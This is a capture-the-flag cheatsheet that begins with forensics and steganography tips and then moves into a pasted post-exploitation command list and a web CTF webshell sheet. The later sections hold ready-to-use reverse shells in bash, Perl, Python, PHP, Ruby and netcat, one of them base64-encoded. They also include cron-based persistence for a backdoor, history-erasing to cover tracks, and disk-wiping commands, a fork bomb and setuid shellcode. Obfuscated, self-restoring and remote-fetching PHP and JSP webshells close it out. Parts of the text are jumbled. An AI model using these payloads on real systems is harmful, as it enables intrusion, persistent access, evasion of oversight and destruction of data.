/CTF-Procedures

🚩 A cheatsheet of useful tools and shell scripts that come in handy in capture the flag contests.

CTF tools and useful command-line tips

Preparation Checklist

Installation

Operating Systems (VMware)

  • Kali Linux
  • Windows (32-bit version preffered)
  • SQL databases viewer

Apps

  • Wireshark (for opening network capture files)
  • audacity (for manipulating on voice files)
  • VMware and VirtualBox (for recovering corrupted disk image files)
  • one email client (for opening .eml email and attachment backups)

Other Stuff

  • Backup Internet Connection
  • Anonymous Masks

Command Line Tools

  • ExifTool (check files meta info)
  • outguess
  • net-tools (includes nmap and netstat and nc and other primary networking tools)
  • binwalk

Basic UNIX command-line tips

Finding text

grep flag /path/to/file
grep -i flag /path/to/file # Non case-sensitive
grep -R flag . # Search all files in current directory recursively
grep -a flag /path/to/file # Process a binary file as if it were text
grep -oba PNG binaryfile.bin # Finds "PNG" in binaryfile.bin and returns the binary offset of it

In vim and man pages: [ESC] /flag [enter] jump to next result with [N]

Binary Stuff

grep -oba PNG binaryfile.bin # Finds "PNG" in binaryfile.bin and returns the binary offset of it
dd status=none if=binaryfile.bin bs=1 skip=M count=N  # get a part of a binary file
binwalk  # Finds stuff in a binary file
binwalk --dd='.*' file  # Extracts stuff in a file
foremost -T  # Finds stuff in binary files
strings  # Finds strings within a file
radare2  # Static analysis of disassemblies
xxd  # make a hexdump or do the reverse.

http://superuser.com/questions/294270/how-to-view-raw-binary-data-as-an-image-with-given-width-and-height http://serverfault.com/questions/173999/dump-a-linux-processs-memory-to-file

Wget options

wget -rc http://example.com # Download a mirror of example.com
wget ???? http://example.com # Ignore robots.txt and crawl
wget -rcA .pdf http://example.com # Download all pdf files in example.com

@smmsadrnezh TODO

Steganography

Text

Poem Code

Solution

Images checklist

Check exif tags

ExifTool example.jpg

That goddamn trivia

command-line tool outguess

Least Significant Bit (LSB) Insertion

  • idea: 8th bit of some or all of the bytes is changed to a bit of secret message.
  • symptoms: BMP files

diff command

  • you may find the original image by searching problem image in Google if it's not given.
  • also it works for finding the difference between two text files.

Image editing in python

From PIL import Image

# Save and load
img = Image.open('/path/to/file')
img.save('/path/to/file')

# Process images
Image.blend(image1,image2,0.5) # Should be the same size
**TODO**: add more stuff here!

Audio checklist

  • Changing play speed
  • Find difference between left and right channel
  • Reversing audio
  • Visualizing audio with spectrum tool in audacity
  • Transforming from time-space to frequency space
  • Search the lyrics if applicable

Hashes

Encrypting MD5

import hashlib
def md5(string):
    hasher = hashlib.md5()
    hasher.update(string)
    return hasher.hexdigest()
  • Bash: printf plain text | md5sum

Decrypting MD5

import requests

def decrypt_md5(encrypted):
  post_values = {
    'hash':encrypted,
    'submit':'Decrypt It!',
  }
  resp_text = requests.post(url='http://md5decryption.com/', data=post_values).text
  ii = resp_text.find('Decrypted Text: </b>') + 1
  ii = resp_text.find('>', ii) + 1
  jj = resp_text.find('<', ii)
  resp = resp_text[ii:jj]
  return resp

Secure coding

  • Check for array length (overflow)
  • Check for array index [0..n-1], non negative, not \ge n
  • printf(string) -> printf("%s", string) TODO

Network

  • check for open ports with nmap. Then connect through ssh or telnet or netcat or open it in a web browser. Maybe it is a non-standard port.

wireshark

  • find packets with telnet protocol. right-click on a packet in the session, and select 'Follow TCP Stream.' you see credential because telnet does not encrypt data.
  • use HTTP filter to clean up the listed packets to only include those using the HTTP protocol. find URL or some meaningful text.
  • find flag using the device which is captured [TODO]
  • Network miner is a good windows software for mining pcap files

Web

  • Vularnablity scanner: http://www.acunetix.com/
  • Stealing cookies
  • Changing php session id
  • SQL injection
  • Inspect ajax requests
  • Using javascript in fields like username and search (XSS)
  • Check these:
    1. ../../../../passwd
    2. postgresql tables: pg_catalog pg_namespace
    3. ../flag.txt
    4. TODO
  • Add characters like %00 and %20 to ajax URLs
  • check robots.txt file content and html page source for any information is hidden from the web.
  • monitor cookies set on your browser when you send request to a web page.
  • ?page=php://filter/read=convert.base64-encode/resource=../delete To get files source codes on server (LFI)

Reverse and Exploit

Well, I should put some time into mastering these tools, they're very useful in CTF contests. Best ever tool: IDA

Check binary tools in command line tools above.

ltrace -C -i ./file Dynamically analyses function calls

Windows

  • Files may be packed using ASPack
  • Snowman is very good in decompiling C programs

Linux

  1. nm TODO

  2. objdump TODO

  3. gdb TODO

  4. metasploit

  5. strings

Command line scripts for CTF's

Linux

Improve shell

  • Improve the prompt:
bash -i
  • Enable history (on a ssh server)
bash -i;
DIR=`mktemp -d /tmp/ctf_XXX`
cd "${DIR}"
export HISTFILE=`pwd`/.bash_history
set -o history

Real tty, through socat

reverse_client:

LHOST="<IP>"
LPORT="<PORT>"
cd /tmp
curl https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat -o socat
chmod u+rwx socat
./socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:${LHOST}:${LPORT}

server (LHOST):

socat file:`tty`,raw,echo=0 tcp-listen:8881

Reverse shell handler (multi window/pane)

  • Multi window server
    • Requires: tmux and ncat

Reverse shell server:

PORT=4444
ncat -lkv -v "${PORT}" -c "
        s=\$(mktemp -u -d `pwd`/socket.\${NCAT_REMOTE_ADDR}.\${NCAT_REMOTE_PORT}.XXX);
        # tmux new-window \"ncat -lU \$s; read\";
        tmux split-window -h \"ncat -lU \$s; read\";
        sleep 1;
        ncat -U \$s;
        rm \$s;"

Whoami?

  • Whats my user, what are my groups?
    • Check if you are for example if you are a:
      • Member of disk => read the raw disk!
      • Member of lxd or docker => create a container mounting the root partition.
      • Member of adm => read log files for more information.
id
  • What are all the users?
    • Check if there are any interesting users
cat /etc/passwd
  • What are all the groups?
    • Are there any interesting groups? Who is a member
cat /etc/group
  • What are the capabilities of this proces?
cat /proc/self/status | grep CapEff | cut -f2 | xargs -i capsh --decode={}

What sort of release

  • What sort of machine is this?
uname -a
cat /etc/issue
cat /etc/lsb-release
cat /etc/motd
  • Use searchsploit to look for Kernel / Distibution exploits
searchsploit 16.04
searchsploit Ubuntu

PTY

/usr/bin/python -c 'import pty; pty.spawn("/bin/sh")'
/usr/bin/python2 -c 'import pty; pty.spawn("/bin/sh")'
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/sh")'

Sudo

  • Check if we can see sudo permissions
sudo -l
cat /etc/sudoers
cat /etc/sudoers.d/*

Keep shell

  • Schedule your connect back exploit
BACKDOOR='/tmp/meterpreter'; (crontab -l 2>/dev/null; echo "*/1 * * * * ${BACKDOOR}") | crontab -

nc (without -e) shell

IP=10.0.0.1;PORT=12345;PIPE=$(mktemp -u);mkfifo ${PIPE};cat ${PIPE}|/bin/sh -i 2>&1|nc ${IP} ${PORT} > ${PIPE}
  • Or as base64
echo SVA9MTAuMC4wLjE7UE9SVD0xMjM0NTtta2ZpZm8gL3RtcC9maWZvO2NhdCAvdG1wL2ZpZm98L2Jpbi9zaCAtaSAyPiYxfG5jICR7SVB9ICR7UE9SVH0gPiAvdG1wL2ZpZm8= | base64 -d | sh

Priv ESC?

Finding

  • Manual (additional labour):
#!/bin/bash

BREAK="#------------------------------#"

EXCLUDED=(
    '^/sys' 
    '^/proc' 
    '^/usr/share'
    '^/var/lib'
    '/include/'
    '^/var/lib/dpkg/' 
    '^/usr/src/linux-headers-' 
    '^/var/cache/man/' 
    '^/var/cache/apt/archives/'
    '^/etc/fonts/'
    '^/usr/share/fonts/'
    '^/usr/share/icons/'
    '^/usr/share/man/'
    '^/lib/modules/'
    )
EXCLUDED=$( IFS=$'|'; echo "${EXCLUDED[*]}" )

echo "# SUID files:"
echo "${BREAK}"
find / -perm -4000 -type f 2>/dev/null | grep -Ev "${EXCLUDED[*]}" | xargs -L 1 ls -alhtr

echo "# Find files with added capabilities"
echo "${BREAK}"
getcap -r /* 2>/dev/null

echo "# Writable files:"
echo "${BREAK}"
find / -writable -type f 2>/dev/null | grep -Ev "${EXCLUDED[*]}" | xargs -L 1 ls -alhtr 

echo "# Readable files:"
echo "${BREAK}"
find / -readable -type f 2>/dev/null | grep -Ev "${EXCLUDED[*]}" | xargs -L 1 ls -alhtr 

echo "# Writeable socket files:"
echo "${BREAK}"
find / -type s -writable 2>/dev/null

echo "# Hidden files:"
echo "${BREAK}"
find / -name ".*" -ls 2>/dev/null | grep -vE ' /sys/| /proc/'

echo "# Cronjob files:"
echo "${BREAK}"
find /etc/cron* -ls 2>/dev/null
crontab -l

echo "# Find RSA private key files:"
echo "${BREAK}"
grep -Hnr '\-----BEGIN RSA PRIVATE KEY-----' /etc/ /home /root /var 2>/dev/null

echo "# Find git repositories"
echo "${BREAK}"
find / -type d -name '.git' -ls 2>/dev/null

echo "# Find git repositories, with historic RSA private keys files"
echo "${BREAK}"
find / -name .git | (while read gitdir; do echo ${gitdir}; (git --git-dir "${gitdir}" log -p | grep '\-----BEGIN RSA PRIVATE KEY-----'  ); done)
  • Search for configuration/credentials in the web folder /var/www/html

Finding files not in packages (dpkg based)

DIR=`mktemp -d`
cd $DIR
dpkg-query -W -f='${Package}\n' | xargs dpkg -L | sort -u > package_files
find / -type f 2>/dev/null | grep -v /proc/ | grep -v /sys/ | grep -v /dev/ | grep -v /boot/ | grep -vE /run/ | sort -u > find_files
awk 'FNR==NR{ array[$0];next}
 { if ( $1 in array ) next
   print $1}
' "package_files" "find_files" | less

Finding loaded kernel module files

lsmod | awk '{print $1}' | xargs  modinfo | grep filename | awk '{print $2}'

Finding vulnerable packages

  • Create an account on https://vulners.com/
  • Login
  • Go to Products (top) -> Audit
  • Go to Manual Audit
  • Follow the instructions

SQL

  • Dump SQL database using credentials
    • Notice the password is attached to the -p parameter
    • Notice the locking is disabled
USERNAME=admin
PASSWORD=mysqld4tb4s3p4ssw0rd
mysqldump --all-databases -u "${USERNAME}" -p"${PASSWORD}" --lock-tables=false > /tmp/mysqldump.sql
  • Search for credentials in the dump

Process monitoring (cronjobs)

  • List all processes
ps auxw
  • Monitor the processes:
#!/bin/bash

PSCMD="ps -eo user,command"
PREVPROC=$(eval $PSCMD)

#loop by line
IFS=$'\n'

while true; do
    CURPROC=$(eval $PSCMD)
    diff <(echo "$PREVPROC") <(echo "$CURPROC")
    PREVPROC=$CURPROC
done
  • Alternative:
#!/bin/bash

PSCMD="ps --no-headers -eo user,command | sort -u"
echo "${PSCMD}"
eval "${PSCMD}"
PROC1=$(eval ${PSCMD})

echo "${PROC1}"

while true; do
    PROC2=$(eval ${PSCMD})
    PROC2=$(echo "${PROC1}"$'\n'"${PROC2}" | sort -u)
    diff <(echo "$PROC1") <(echo "$PROC2")
    PROC1=$PROC2
    echo "${PROC1}" > procs.txt
done

Network recon

  • Investigate the network
# Configuration of interfaces
cat /etc/network/interfaces
cat /etc/network/interfaces.d/*
#  Interfaces and addresses 
/sbin/ifconfig -a
/sbin/ip addr
#  Routing 
/sbin/route -n
/sbin/ip route
# Routing alternative view
cat /proc/self/net/fib_trie
# Neigbours
/sbin/ip neigh
/usr/sbin/arp -an
# Listening connections
netstat -tulpn
ss -tulpn
# All connections
netstat -pn
ss -pn
  • Ping sweep
    • Use this sweep on the local network to see if the ARP table show new neigbours
    • Specify the correct rang
RANGE=192.168.122
for i in $(seq 1 254); do ping -c1 -w1 ${RANGE}.${i} & done
sleep 10
arp -an | grep -v incomplete | sed 's/.*(\(.*\)).*/\1/g' | grep "${RANGE}"
  • Ping sweep IPv6
INTERFACE=eth0
ping6 -c 4 ff02::1%${INTERFACE}
sleep 2
ip neigh
  • Scan a host using nc
IP=192.168.122.1
nc -zv ${IP} 1-65535 2>&1 | grep -v refused
  • Sweep and scan, combining the above
RANGE=192.168.122
PERHOSTTIMEOUT=$((2*60))
PERPORTTIMEOUT=$((1*1))
for i in $(seq 1 254); do (ping -c1 -w1 ${RANGE}.${i} >/dev/null 2>&1 &); done
sleep 10
IPS=$(arp -an | grep -v incomplete | sed 's/.*(\(.*\)).*/\1/g' | grep "${RANGE}")
for IP in $IPS
do
  echo "[+] Scanning: ${IP}"
  timeout "${PERHOSTTIMEOUT}" nc -zvw ${PERPORTTIMEOUT} ${IP} 1-65535 2>&1 | grep -vE 'refused|timed out'
  echo "[+] Done: ${IP}"
done

Copy files to a shell

  • Use base64 from the terminal:

source

FILE=/tmp/source_file
cat "${FILE}" | base64 -w 0
# Or compressed
cat "${FILE}" | gzip | base64 -w 0
  • Copy the base64 output

destination

OUTPUTFILE=/tmp/output
echo PASTEBASE64 | base64 -d > "${OUTPUTFILE}"
# Or compressed
echo PASTEBASE64 | gunzip | base64 -d > "${OUTPUTFILE}"
  • Transport a disk image through ssh
ssh username@10.10.10.1 'dd if=/dev/sda1 | gzip -1 -' | dd of=image.gz
  • Or through nc

source

dd if=/dev/mapper/machine-vg-root | gzip -1 - | nc 10.10.14.1 1234

destination

nc -vl 1234 | gunzip > filesystem.raw
  • Upload through meterpreter
meterpreter > /tmp/upload /tmp/myupload

PROC

  • What can we see in /proc

  • The memory mapping; where is the stack, where are the binaries, where is the heap?

cat /proc/self/maps

# Or from other processes:
MIN=1
MAX=4000
for i in $(seq $MIN $MAX); do cat /proc/${i}/maps 2>/dev/null && echo That was process: ${i} ; done
  • Find the command line arguments of processes, without ps
cat /proc/self/cmdline

# Or from other processes:
MIN=1
MAX=4000
for i in $(seq $MIN $MAX); do (cat /proc/${i}/cmdline 2>/dev/null | sed 's/\x00/ /g' | sed 's/$/\n/g' ) ; done

Symlink attacks

  • Found a job that overwrites using root or another user? Try to find symlink attacks.
  • Example:
    • root copies /src to /dst and places permission on /dst
    • we have write privileges on /dst
    • we can try to rm /dst and ln -s /src /dst
    • Once the root job fires, root will overwrite /src with itself (fails) and give write perms on /src
    • Now we control /src we can define what we copy where?
    • For instance ln -s /root/root.flag /src and rm /dst; mkdir /dst
    • THe flag will now be copied to /dst

Tunneling

  • We can tunnel through an ssh connection, in this example:
    • Once ssh is connected, connecting to localhost:4444 will port forward through the ssh connection to 192.168.122.1:80
LPORT=4444
RHOST=192.168.122.1
RPORT=80
ssh user@10.10.10.1 -L $LPORT:$RHOST:$RPORT
  • Meterpreter
portfwd add -l 4444 -r 192.168.122.1 -p 80

Linux/Unix/BSD Post-Exploitation Command List If for any reason you cannot access/edit these files in the future, please contact mubix@hak5.org You can download these files in any format using Google Doc’s File->Download As method If you are viewing this on anything other than Google Docs, you can get access to the latest links to the Linux/Unix/BSD, OS X, Obscure, Metasploit, and Windows docs here: http://bit.ly/nuc0N0

DISCLAIMER: Anyone can edit these docs, and all that entails and implies

Table of Contents

Table of Contents Information Blind Files System Networking User accounts Credentials Configs Determine Distro Installed Packages Package Sources Finding Important Files Covering Your Tracks Avoiding history filesmys Obtain users’ information Escalating Looking for possible opened paths Maintaining control Reverse Shell Fun if Windows is present and accessible Stuff to be sorted sudo -p allows the user to define what the password prompt will be Deleting and Destroying Execute a remote script Fork Bomb

Information

Blind Files (things to pull when all you can do is blindly read) LFI/dir traversal (Don’t forget %00!)

File Contents and Reason /etc/resolv.conf

Contains the current name servers (DNS) for the system. This is a globally readable file that is less likely to trigger IDS alerts than /etc/passwd
/etc/motd
Message of the Day. 
/etc/issue
Debian - current version of distro
/etc/passwd
List of local users 
/etc/shadow
List of users’ passwords’ hashes (requires root)
/home/xxx/.bash_history
Will give you some directory context
System

Command
Description and/or Reason uname -a
Prints the kernel version, arch, sometimes distro, ...
ps aux List all running processes top -n 1 -d Print process, 1 is a number of lines id Your current username, groups arch, uname -m Kernel processor architecture
w who is connected, uptime and load avg who -a uptime, runlevel, tty, proceses etc.
gcc -v Returns the version of GCC. mysql --version Returns the version of MySQL. perl -v Returns the version of Perl. ruby -v Returns the version of Ruby. python --version
Returns the version of Python. df -k mounted fs, size, % use, dev and mount point[ mount mounted fs
last -a Last users logged on lastcomm

lastlog        
                
lastlogin (BSD)
                
getenforce
Get the status of SELinux (Enforcing, Permissive or Disabled)
dmesg        
Informations from the last system boot
lspci
prints all PCI buses and devices
lsusb
prints all USB buses and devices/h
lscpu
prints CPU information
lshw


ex


cat /proc/cpuinfo
                
cat /proc/meminfo


du -h --max-depth=1 /
(note: can cause heavy disk i/o)
which nmap
locate a command (ie nmap or nc)

locate bin/nmap

locate bin/nc


jps -l


java -version
Returns the version of Java.
Networking
  • hostname -f
  • ip addr show
  • ip ro show
  • ifconfig -a
  • route -n
  • cat /etc/network/interfaces
  • iptables -L -n -v
  • iptables -t nat -L -n -v
  • ip6tables -L -n -v
  • iptables-save
  • netstat -anop
  • netstat -r
  • netstat -nltupw (root with raw sockets)
  • arp -a
  • lsof -nPi

The information returned by these commands can also be acquired through “cat /proc/net/*”. This is less likely to trigger monitoring alerts. The drawback is that it generates a lot of information which then has to be analyzed. User accounts

  • local accounts: cat /etc/passwd
    • password hashes in /etc/shadow on Linux
    • password hashes in /etc/security/passwd on AIX
    • groups in /etc/group (and/or /etc/gshadow on Linux)
  • all accounts: getent passwd
    • should dump local, LDAP, NIS, whatever the system is using
    • same with getent group
  • Samba’s own database: pdbedit -L -w or pdbedit -L -v
  • privileged accounts: cat
    • (above: cat ???)
  • mail aliases: cat /etc/aliases find /etc -name aliases, getent aliases
  • NIS accounts: ypcat passwd - displays NIS password file

Credentials

  • SSH keys, often passwordless: /home//.ssh/id
  • SSH agent:
    • Kerberos tickets: /tmp/krb5cc_*, /tmp/krb5.keytab
  • PGP keys: /home/*/.gnupg/secring.gpgs

Configs * ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/nullte
* cat /etc/issue{,.net} * cat /etc/master.passwd * cat /etc/group * cat /etc/hosts * cat /etc/crontab * cat /etc/sysctl.conf * for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons) * cat /etc/resolv.conf * cat /etc/syslog.conf * cat /etc/chttp.conf * cat /etc/lighttpd.conf * cat /etc/cups/cupsd.confcda * cat /etc/inetd.conf
* cat /opt/lampp/etc/httpd.conf * cat /etc/samba/smb.conf * cat /etc/openldap/ldap.conf * cat /etc/ldap/ldap.conf * cat /etc/exports * cat /etc/auto.master * cat /etc/auto_master * cat /etc/fstab * find /etc/sysconfig/ -type f -exec cat {} ;

Determine Distro * lsb_release -d # Generic command for all LSB distros * /etc/os-release # Generic for distros using “systemd” * /etc/issue # Generic but often modified * cat /etc/*release * /etc/SUSE-release # Novell SUSE
* /etc/redhat-release, /etc/redhat_version # Red Hat * /etc/fedora-release # Fedora * /etc/slackware-release, /etc/slackware-version # Slackware * /etc/debian_release, /etc/debian_version # Debian * /etc/mandrake-release # Mandrake * /etc/sun-release # Sun JDS * /etc/release # Solaris/Sparc * /etc/gentoo-release # Gentoo * /etc/arch-release # Arch Linux (file will be empty) * arch # OpenBSD; sample: “OpenBSD.amd64” * uname -a # often hints at it pretty well

Installed Packages * rpm -qa --last | head * yum list | grep installed * Debian: dpkg -l dpkg -l | grep -i “linux-image” dpkg --get-selections * {Free,Net}BSD: pkg_info * Solaris: pkginfo * Gentoo: # equery must be installed cd /var/db/pkg/ && ls -d / # always works * Arch Linux: pacman -Q

Package Sources * cat /etc/apt/sources.list * ls -l /etc/yum.repos.d/ * cat /etc/yum.conf

Finding Important Files * ls -dlR / # * ls -alR | grep ^d * find /var -type d * ls -dl find /var -type d * ls -dl find /var -type d | grep -v root * find /var ! -user root -type d -ls * find /var/log -type f -exec ls -la {} ; * find / -perm -4000 (find all suid files) * ls -alhtr /mnt * ls -alhtr /media * ls -alhtr /tmp * ls -alhtr /home * cd /home/; treels /home//.ssh/* * find /home -type f -iname '.history' * ls -lart /etc/rc.d/ * locate tar | grep [.]tar$ # Remember to updatedb before running locate * locate tgz | grep [.]tgz$ * locate sql | grep [.]sql$ * locate settings | grep [.]php$
* locate config.inc | grep [.]php$ * ls /home//id* * .properties | grep [.]properties # java config files * locate .xml | grep [.]xml # java/.net config files * find /sbin /usr/sbin /opt /lib echo $PATH | ‘sed s/:/ /g’ -perm /6000 -ls # find suids * locate rhosts Covering Your Tracks Avoiding history filesmys * export HISTFILE= or * unset HISTFILE This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out:

However if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes.
clear all history in ram * history -c * rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive) * touch ~/.bash_history (invasive) * history -c (using a space before a command)
* zsh% unset HISTFILE HISTSIZE
* tcsh% set history=0
* bash$ set +o history * ksh$ unset HISTFILE * find / -type f -exec {} (forensics nightmare)

Note that you’re probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect.

In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 $$’ing the shell. Sometimes the shell can be configured to run ‘history -w’ after every command; get around this by overriding ‘history’ with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however. Obtain users’ information * ls -alh /home//
* ls -alh /home//.ssh/ * cat /home//.ssh/authorized_keys * cat /home//.ssh/known_hosts * cat /home//.hist # you can learn a lot from this * find /home//.vnc /home//.subversion -type f * grep ^ssh /home//.hist * grep ^telnet `/home//.hist * grep ^mysql /home//.hist * cat /home//.viminfo * sudo -l # if sudoers is not. readable, this sometimes works per user * crontab -l * cat /home//.mysql_history

Escalating Looking for possible opened paths * ls -alh /root/ * sudo -l * cat /etc/sudoers * cat /etc/shadow * cat /etc/master.passwd # OpenBSD * cat /var/spool/cron/crontabs/* | cat /var/spool/cron/* * lsof -nPi * ls /home//.ssh/

Maintaining control Reverse Shell Starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet * bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any interpreter like Python, and so on.). * perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};' * python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' * php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' * ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f * xterm -display 10.0.0.1:1se
* Listener- Xnest :1 * Add permission to connect- xhost +victimIP * ssh -NR 3333:localhost:22 user@yourhost * nc -e /bin/sh 10.0.0.1 1234

Fun if Windows is present and accessible If there is Windows installed and the logged-in user access level includes those Windows partition, attacker can mount them up and do a much deeper information gathering, credential theft and root-ing. Ntfs-3g is useful for mounting ntfs partitions read-write. TODO: insert details on what to look for

Stuff to be sorted

GOING TO MOVE EVERYTHING HERE FOR LEGIBILITY ONCE EDITING DIES DOWN

Command
Output ps aux
List of running processes id List current user and group along with user/group id
w Show info about who is logged, what are they are doing
who -a Print information about users
cat /dev/core > /dev/audio

cat /dev/mem > /dev/audio Makes a sound from the memory content. Usefulness of this??? (none, aside from pissing off the sysadmin, in the very unlikely case that the server has speakers and the legacy OSS driver) sudo -p allows the user to define what the password prompt will be (useful for fun customization with aliases or shell scripts) Deleting and Destroying (If it is necessary to leave the machine inaccessible or unusable) Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles.

Oh, and you’re probably a jerk if you use any of the stuff below. Command Description rm -rf / This will recursively try to delete all files. char esp[] attribute ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Hex version of rm -rf /
How is this supposed to work?

mkfs.ext3 /dev/sda
Reformat the device mentioned, making recovery of files hard.                
dd if=/dev/zero of=/dev/sda bs=1M
Overwrite disk /dev/sda with zeros
Execute a remote script

wget http://server/file.sh -O- | sh This command forces the download of a file and immediately its execution, can be exploited easily using or reverse shit
Fork Bomb :(){:|:&};:

The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb.

Stolen from: http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf World writable directories

Find word writable folders outside your home directory. It would be a tremendous success if we could write, say to /etc. So we could add configuration files and therefore pretty sure execute code as root, since many daemons read a specific number of primary and secondary configuration files, whereas the secondary ones are often not created yet. If the superusers home (/root) would be writable, we could create shell startup files that doesn't exist yet: .profile,

.bash_profile, .bashrc... find / ( ­wholename '/home/homedir/*' ­prune ) ­o
( ­type d ­perm ­0002 ) ­exec ls ­ld '{}' ';' 2>/dev/null

World

writable files What if /etc/passwd would be writable? Yeah, we just could add another root user and we would have won! Whereas the foregoing scenario is just too good to be true, it really makes sense to search for world writable files outside your own territory (= your home directory). find / ( ­wholename '/home/homedir/' ­prune ­o ­wholename '/proc/' ­prune ) ­o ( ­type f ­perm ­0002 ) ­exec ls ­l '{}' ';' 2>/dev/null Logfiles Sometimes a security unaware administrator chmods a sensitive log file, because he couldn't view it and therefore leaks potentially sensitive data such as passwords or other important information. find /var/log ­type f ­perm ­0004 2>/dev/null Setuid / setgid files We already examined fully why setuid and setgid files are worth to be double checked. Such a file owned by root and susceptible for attacks is a big weakness. find / ( ­type f ­or ­type d ) ­perm ­6000 2>/dev/null

Linux/Unix/BSD Post Exploitation Command List - Page:

WEB CTF CheatSheet

Table of Contents

Webshell

PHP Webshell

<?php system($_GET["cmd"]); ?>
<?php system($_GET[1]); ?>
<?php system("`$_GET[1]`"); ?>
<?= system($_GET[cmd]);
<?=`$_GET[1]`;
<?php eval($_POST[cmd]);?>
<?php echo `$_GET[1]`;
<?php echo passthru($_GET['cmd']);
<?php echo shell_exec($_GET['cmd']);
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
<script language="php">system("id"); </script>

<?php $_GET['a']($_GET['b']); ?>
// a=system&b=ls
// a=assert&b=system("ls")

<?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
// .php?cmd=system("ls")

<?@extract($_REQUEST);@die($f($c));?>
// .php?f=system&c=id

<?php @include($_FILES['u']['tmp_name']);  
// 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上傳
// 把暫存檔include進來
// From: http://www.zeroplace.cn/article.asp?id=906

<?php $x=~¾¬¬º­«;$x($_GET['a']); ?>
// not backdoor (assert)
// .php?a=system("ls")

echo "{${phpinfo()}}";

echo "${system(ls)}";

echo Y2F0IGZsYWc= | base64 -d | sh
// Y2F0IGZsYWc=   =>  cat  flag

echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
// cat shell.php
// <?php echo 'A PHP Test ';" ?>

echo ^<?php eval^($_POST['a']^); ?^> > a.php
// Windows echo導出一句話

<?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");

<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
?>

<?php 
// 無回顯後門  
// e.g. ?pass=file_get_contents('http://kaibro.tw/test')
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>

<?=
// 沒有英數字的webshell
$💩 = '[[[[@@' ^ '("(/%-';
$💩(('@@['^'#!/')." /????");


A=fl;B=ag;cat $A$B

webshell駐留記憶體

解法：restart

<?php
    ignore_user_abort(true);  // 忽略連線中斷
    set_time_limit(0);  // 設定無執行時間上限
    $file = 'shell.php';
    $code = '<?php eval($_POST[a]);?>';
    while(md5(file_get_contents($file)) !== md5($code)) {
        if(!file_exists($file)) {
            file_put_contents($file, $code);
        }
        usleep(50);
    }
?>

無文件webshell

解法：restart

<?php  
    unlink(__FILE__);  
    ignore_user_abort(true);  
    set_time_limit(0);  
    $remote_file = 'http://xxx/xxx.txt';  
    while($code = file_get_contents($remote_file)){  
        @eval($code);  
        sleep(5);  
    };  

?>

JSP Webshell

  • 無回顯:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
  • 有回顯:
<%
if("kaibro".equals(request.getParameter("pwd"))) {
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
}
%>
  • Unicode webshell:
<%\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006D\u0065\u0074\u0065\u0072\u0028\u0022\u0069\u0022\u0029\u0029\u003B%>

